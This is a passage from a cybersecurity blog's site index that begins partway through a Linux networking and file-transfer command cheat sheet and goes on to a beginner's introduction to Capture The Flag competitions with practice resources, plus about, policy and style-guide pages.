link # use builtin help ip address help # or ip link help # bring down/up the internet connection # dev -- device sudo ip link set dev enp0s3 down sudo ip link set dev enp0s3 up Routing tables\n# check routing table settings ip route # or route # add/delete a route to the table sudo ip route add 10.0.3.0/24 via 10.0.2.1 sudo ip route delete 10.0.3.0/24 via 10.0.2.1 Dns lookup\nnslookup google.com # or dig google.com # reverse lookup dig -x 8.8.8.8 Network statistics\n# check open tcp connections netstat -at # check listening tcp ports netstat -lt # only default ports in general # start python server to verify python3 -m http.server File Transfer\nSCP (Secure Copy with OpenSSH)\n# Copy local file/folder to remote computer scp file.txt 192.168.100.4:/home/bob/ scp -r files 192.168.100.4:/home/bob/ # copy remote file/folder from remote to local machine scp 192.168.100.4:/home/bob/remote-file.txt backup/ scp -r 192.168.100.4:/home/bob/remote-files backup/ # copying with a different user name scp file.txt sally@192.168.100.4:/home/sally RSYNC (Efficient sync, only transfers differences)\n# Recursively copying directories and preserving user permissions and ownership # Archive mode, verbose, compress, human-readable rsync -avzh /local/path/ user@host:/remote/path/ # or rsync -avzh file2.txt 192.168.100.4:/home/bob Converting Line Endings\nDifferent systems use different line terminators:\nWindows: CRLF (\\r\\n) Mac (old): CR (\\r) Linux/Unix: LF (\\n) Check file type: file *.txt\nChange line terminator in VIM:\n# --- Win/Dos example --- vim sample-dos-file.txt :e ++ff=unix # each line (except the last one) will be # terminated with ^M = control char # the new line is still displayed since LF is # used = same as linux # --- MacOS example --- vim sample-macos-file.txt # only the ^M -s are displayed -- no new lines Convert between formats:\n# Unix --\u0026gt; Dos (modify original file) unix2dos temp.txt # Unix --\u0026gt; Dos (create a new file) unix2dos -n sample-unix-file.txt temp.txt # Unix --\u0026gt; MacOS unix2dos -c mac temp.txt # Dos --\u0026gt; Unix dos2unix temp.txt # MacOS --\u0026gt; Unix dos2unix -c mac temp.txt ","permalink":"https://onebee.blog/blog/collection/foundations/linux-101-p1/","summary":"Collection | Foundations | Linux 101 - Part 1","title":"Foundations | Linux 101 - Part 1"},{"content":"Introduction to CTFs Capture The Flag (CTF) events are like puzzle competitions for cybersecurity. They provide a fun, hands-on way for anyone \u0026ndash; from total beginners to pros \u0026ndash; to practice hacking skills in a safe and legal environment.\nIn these challenges, we search for flags, which are hidden pieces of text. Finding a flag proves we\u0026rsquo;ve successfully solved the puzzle. It\u0026rsquo;s essentially a digital scavenger hunt that turns learning complex security concepts into a game.\nTypes of CTFs CTF competitions generally fall into three main categories, each offering a different experience:\nJeopardy CTFs These follow a game-show format. We solve standalone challenges across different categories to earn points and flags. Common categories:\nRE \u0026ndash; Reverse Engineering\nWe investigate binary files (like PE, ELF, or APK) using static or dynamic analysis. The goal is to take a compiled program and convert it back into a human-readable form to understand how it functions at a low level. Tools: IDA Pro, Ghidra, Radare2.\nPWN \u0026ndash; Binary Exploitation\nThis involves finding vulnerabilities in binary programs to gain shell access or change the program\u0026rsquo;s behavior to reveal the flag. We often look for memory corruption issues like buffer overflows.\nHardware Security\nThese challenges involve analyzing printed circuit boards (PCBs), finding vulnerabilities in embedded devices, or using techniques like microscope soldering to uncover hidden clues. This includes RFID, Bluetooth, and radio-based challenges.\nWeb \u0026ndash; Web Security\nHere, we identify and exploit vulnerabilities in web applications. Common attacks include SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and Insecure Direct Object References (IDOR).\nCloud \u0026ndash; Cloud Security\nThese focus on misconfigurations in platforms like AWS, GCP, and Azure. We use privilege escalation strategies to move through cloud ecosystems.\nCrypto \u0026ndash; Cryptography\nThis is all about decoding or decrypting text. We use everything from traditional ciphers (like Caesar or Vigenère) to modern encryption algorithms to break the code and find the flag.\nForensics\nForensics involves digging through files, network captures (.pcap), logs, and memory dumps. It also includes steganography, where data is hidden inside images or other files.\nOSINT \u0026ndash; Open Source Intelligence\nOSINT challenges require us to find solutions using publicly available information from the internet.\nOthers\nThe list above covers the basics, but there are many other specialized categories, such as Mobile Hacking, Physical Security, and Bug Bounty challenges.\nAttack-Defense CTFs In this format, teams compete in a live network environment. One team attempts to infiltrate vulnerable machines to steal flags, while the other team works to patch those vulnerabilities and defend their systems.\nThis requires strong teamwork and the ability to switch quickly between attacking and defending.\nMixed CTFs Mixed CTFs blend Jeopardy-style tasks with real-time Attack-Defense elements. Because they combine several complex formats, they can be more challenging for beginners. Examples:\nKing of the Hill (KotH)\nTeams compete to take control of a specific system. The longer we hold the system, the more points we earn, while other teams try to knock us out.\nBelluminar: War Sharing\nA mix of competition and education. Teams submit their own challenges for others to solve. Points are awarded for solving challenges and for sharing the solutions through presentations.\nCTF Resources Getting Started\nNo signup is required for these introductory guides:\nCTF 101 | by OSIRIS Lab CTF Primer (picoCTF) | by CMU A Beginner\u0026rsquo;s Guide to CTFing | by Jaime Lightfoot CTF Site Collections\nCTF Sites | by sh3llm4g1ck Practice Platforms\nechoCTF | by echothrust picoCTF | by CMU Learn Cybersecurity | by ctflearn Hacker101 | by HackerOne Smash The Stack Defend the Web TryHackMe Hack The Box Events and Networking\nCTFTime \u0026ndash; Scheduled Events OpenToAll \u0026ndash; Find Team Members Category-Specific Practice\nRE\nCrackmes | by sar5430 CrackMyApp Reverse-Engineering x86re MicroCorruption PWN\npwnable.xyz | Easy-Hard pwnable.kr | Easy-Hard pwnable.tw | Hard pwn.college Web\nWebhacking Websec | Medium Stypr | Hard OWASP Juice Shop Crypto\nCryptopals sha256_project cryptohack The SHA-256 Project General\nRoot-me | Easy Ringzer0team | Medium OverTheWire Hacksplaining Pentesting Bible General Cybersecurity Resources Tipps and Cheat Sheets\nHackTricks Wiki OWASP CheatSheet Learning Roadmaps\n90-Day Cybersecurity Study Plan Teach Yourself Information Security Tool Collections and Courses\nFree Cybersecurity Professional Development Resources | by Gerald Auger Blue Team Tools / Red Team Tools NIST Online Learning Content Cisco Networking Academy Open Security Training | OST2 Internet Fundamentals\nHow DNS Works How DNSSEC Works How HTTPS Works ","permalink":"https://onebee.blog/blog/collection/ctf/","summary":"Collection | Capture The Flag Introduction","title":"CTF Intro"},{"content":"This overview highlights our foundational content.\nGetting Started Capture The Flag Introduction Foundations Collection A curated set of essential commands and code snippets to help us build a strong technical base. These references cover the core tools and concepts we need to interact with systems effectively.\nBeginner\nLinux 101 - Part 1 Linux 101 - Part 1 PowerShell 101 Python 101 - Part 1 Python 101 - Part 2 SQL 101 Networking 101 Ansible 101 Intermediate\nPython 201 - Part 1 Python 201 - Part 2 Python 201 - Part 3 Python 201 - Part 4 Python 201 - Part 5 Linux 201 Offensive Collection Quick-reference snippets and command checklists for various stages of a security assessment.\nFundamentals Reconnaissance Exploitation Post-Exploitation Specialized Topics ","permalink":"https://onebee.blog/blog/collection/overview/","summary":"Collection | Getting Started | Content Overview","title":"Getting Started | Content Overview"},{"content":"$ whoami Murphy\u0026rsquo;s law \u0026ndash; anything that can go wrong, will go wrong \u0026ndash; pretty much sums up my approach to cybersecurity.\nI didn\u0026rsquo;t plan to end up here. I started out curious about how things work, exploring computer science and robotics. But that curiosity eventually led me to cybersecurity, where I found puzzles and problems that actually challenged me. Capture The Flag competitions and this blog have only deepened that interest.\nCybersecurity taught me something simple: things break. Systems fail. That\u0026rsquo;s not something to fear \u0026ndash; it\u0026rsquo;s something to expect and learn from. The real skill is bouncing back from those failures, understanding what went wrong, and moving forward smarter.\nThis blog is where I document that journey. I\u0026rsquo;m sharing what I learn, the mistakes I make, and hopefully helping others along the way.\nContact Information EMAIL Email | PGP key Fingerprint: 3561 B652 4191 8C95 B8B0 1E07 5FEA DE45 DC2F C80C MASTODON Our Mastodon contact information is coming soon \u0026ndash; stay tuned! ","permalink":"https://onebee.blog/about/","summary":"\u003ch2\u003e\u003cspan class=\"customPrompt\"\u003e$\u003c/span\u003e whoami\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eMurphy\u0026rsquo;s law \u0026ndash; anything that can go wrong, will go wrong \u0026ndash; pretty much sums up my approach to cybersecurity.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eI didn\u0026rsquo;t plan to end up here. I started out curious about how things work, exploring computer science and robotics. But that curiosity eventually led me to cybersecurity, where I found puzzles and problems that actually challenged me. Capture The Flag competitions and this blog have only deepened that interest.\u003c/p\u003e","title":"About"},{"content":"Welcome to the index. Whether you are looking for a specific walkthrough or just browsing for a new technique, you can find it here.\nGetting Started Just getting started? Browse our Content Overview for foundational topics and essential techniques.\nBrowse by Topic Looking for something specific? Dive into our Tags to find posts by tool or vulnerability type, or browse Categories for a broader overview.\nSearch and Archive Have a keyword in mind? Use Search to find what you need, or check out Archives to browse all posts by date.\n","permalink":"https://onebee.blog/explore/","summary":"\u003cp\u003eWelcome to the index. Whether you are looking for a specific walkthrough or just browsing for a new technique, you can find it here.\u003c/p\u003e\n\u003ch2 id=\"getting-started\"\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eJust getting started? Browse our \u003ca href=\"/blog/collection/overview\"\u003eContent Overview\u003c/a\u003e for foundational topics and essential techniques.\u003c/p\u003e\n\u003ch2 id=\"browse-by-topic\"\u003eBrowse by Topic\u003c/h2\u003e\n\u003cp\u003eLooking for something specific? Dive into our \u003ca href=\"/tags/\"\u003eTags\u003c/a\u003e to find posts by tool or vulnerability type, or browse \u003ca href=\"/categories/\"\u003eCategories\u003c/a\u003e for a broader overview.\u003c/p\u003e\n\u003ch2 id=\"search-and-archive\"\u003eSearch and Archive\u003c/h2\u003e\n\u003cp\u003eHave a keyword in mind? Use \u003ca href=\"/search/\"\u003eSearch\u003c/a\u003e to find what you need, or check out \u003ca href=\"/archives/\"\u003eArchives\u003c/a\u003e to browse all posts by date.\u003c/p\u003e","title":"Explore"},{"content":"License Text is licensed under CC BY 4.0; code snippets are licensed under the MIT License unless otherwise noted.\nAttribution We do our best to credit every source we use. If we\u0026rsquo;ve missed someone, please reach out and we\u0026rsquo;ll happily add the attribution.\nDisclaimer This content is for educational purposes only. All techniques and code are provided \u0026lsquo;as is\u0026rsquo; and should be used at your own risk. We do not condone or support any illegal or malicious activity.\nWebsite Credits Built with Hugo and PaperMod, hosted via Cloudflare Pages.\n","permalink":"https://onebee.blog/policies/","summary":"\u003ch2 id=\"license\"\u003eLicense\u003c/h2\u003e\n\u003cp\u003eText is licensed under CC BY 4.0; code snippets are licensed under the MIT License unless otherwise noted.\u003c/p\u003e\n\u003ch2 id=\"attribution\"\u003eAttribution\u003c/h2\u003e\n\u003cp\u003eWe do our best to credit every source we use. If we\u0026rsquo;ve missed someone, please \u003ca href=\"mailto:contact@onebee.blog\"\u003ereach out\u003c/a\u003e and we\u0026rsquo;ll happily add the attribution.\u003c/p\u003e\n\u003ch2 id=\"disclaimer\"\u003eDisclaimer\u003c/h2\u003e\n\u003cp\u003eThis content is for educational purposes only. All techniques and code are provided \u0026lsquo;as is\u0026rsquo; and should be used at your own risk. We do not condone or support any illegal or malicious activity.\u003c/p\u003e","title":"Policies"},{"content":" OSINT Windows MacOS Linux Networking Technologies Tools Programming Tips and Tricks Tradecraft concerns ","permalink":"https://onebee.blog/pill/red/","summary":"\u003cdiv class=\"textBlock\"\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/osint/\"\u003eOSINT\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/windows/\"\u003eWindows\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/macos/\"\u003eMacOS\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/linux/\"\u003eLinux\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/networking/\"\u003eNetworking\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/technologies/\"\u003eTechnologies\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/tools/\"\u003eTools\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/programming/\"\u003eProgramming\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/tips-and-tricks/\"\u003eTips and Tricks\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pill/red/tradecraft-concerns/\"\u003eTradecraft concerns\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/div\u003e","title":"Red"},{"content":"This page defines the formatting standards used across this blog to ensure consistency and readability in CTF walkthroughs.\nText Formatting UI Elements\nWe use italics for menu items, buttons, or tabs. Example: Select Network from the sidebar. Hyperlinks\nStandard underlined links are used for external tools or platforms. Example: TryHackMe Sensitive Data\nPasswords, credentials, tokens, and keys are highlighted in red, bold, monospace text to make them stand out. Example: password123 Placeholders\nAngle brackets indicate values that you need to replace with your own. Example: nmap -sV \u0026lt;target-ip\u0026gt; Keyboard Shortcuts \u0026amp; Inline Code\nWe use backticks for keys, short commands, file names, paths, and endpoints. To make them easy to spot, these appear in a slightly smaller font with a distinct background and rounded corners. Example: Press Ctrl+C to stop the process, or check the config.yaml file. Code \u0026amp; Terminal Interactive Terminal\nFull terminal sessions (including the prompt) appear in blocks with a themed background and a thick teal top border. The prompt is specially highlighted so you can quickly spot where a new command begins.\nuser@kali:~$ whoami root user@kali:~$ Static Code Blocks\nFor scripts, payloads, or longer snippets of code, we use language-specific blocks.\n# Example Bash Script echo \u0026#34;Hello World\u0026#34; Figures \u0026amp; Layout Standard Images\nFigures are bordered, centered and can include a caption for clarity.\nFigure 1: Downloaded challenge archive and verification checksum\nClean Images\nFor diagrams that should blend into the page without borders, we use a specialized info box.\nListings \u0026amp; Logs\nLogs, directory structures, and raw output are displayed in dedicated text blocks.\n/home/user/\n├── flag.txt\n└── secrets/\nListing 1 - Directory Structure Captions\nCaptions for images, tables, and lists are provided based on context. We include them when they add necessary value, but omit them when the content is self-explanatory.\nCommunication Quotes\nWe use the standard Markdown blockquote for citations or theoretical explanations.\n\u0026ldquo;The goal of this challenge is to exploit a buffer overflow in the stack.\u0026rdquo;\nFor short references or specific phrases mentioned within a sentence, we use standard double quotation marks like this:\nAs was written, \u0026ldquo;no mans land\u0026rdquo;, so we decided to pivot. Questions \u0026amp; Answers\nWe use an H3 header to separate the Q\u0026amp;A section of a challenge.\n","permalink":"https://onebee.blog/terminology/","summary":"\u003cp\u003eThis page defines the formatting standards used across this blog to ensure consistency and readability in CTF walkthroughs.\u003c/p\u003e\n\u003ch2 id=\"text-formatting\"\u003eText Formatting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eUI Elements\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWe use \u003cem\u003eitalics\u003c/em\u003e for menu items, buttons, or tabs.\u003c/li\u003e\n\u003cli\u003eExample: Select \u003cem\u003eNetwork\u003c/em\u003e from the sidebar.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eHyperlinks\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eStandard underlined links are used for external tools or platforms.\u003c/li\u003e\n\u003cli\u003eExample: \u003ca href=\"https://tryhackme.com/\"\u003eTryHackMe\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eSensitive Data\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePasswords, credentials, tokens, and keys are highlighted in red, bold, monospace text to make them stand out.\u003c/li\u003e\n\u003cli\u003eExample: \u003cspan class=\"password\"\u003epassword123\u003c/span\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003ePlaceholders\u003c/strong\u003e\u003c/p\u003e","title":"Style Guide"}]